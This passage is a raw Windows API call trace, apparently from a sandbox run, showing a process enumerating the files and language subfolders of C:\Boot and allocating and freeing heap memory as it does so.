	[0066.222] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.222] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0066.222] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0066.222] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.222] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0066.223] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.223] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0066.223] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0066.223] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.223] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0066.224] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.224] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0066.224] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0066.224] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0066.225] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811b08
	[0066.225] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0066.225] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0066.225] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0
	[0066.225] FindClose (in: hFindFile=0x811b08 | out: hFindFile=0x811b08) returned 1
	[0066.227] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0066.227] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0066.227] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0066.227] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.227] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0066.227] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.227] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811988
	[0066.228] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.228] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.228] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.228] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0066.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.228] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0066.228] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.228] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f48
	[0066.229] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.229] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.229] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.229] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.229] FindClose (in: hFindFile=0x811f48 | out: hFindFile=0x811f48) returned 1
	[0066.229] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.229] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0066.229] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.229] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0066.229] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.230] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0066.230] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0066.230] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.230] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0066.230] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.231] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0066.231] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0066.231] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.231] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812088
	[0066.231] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
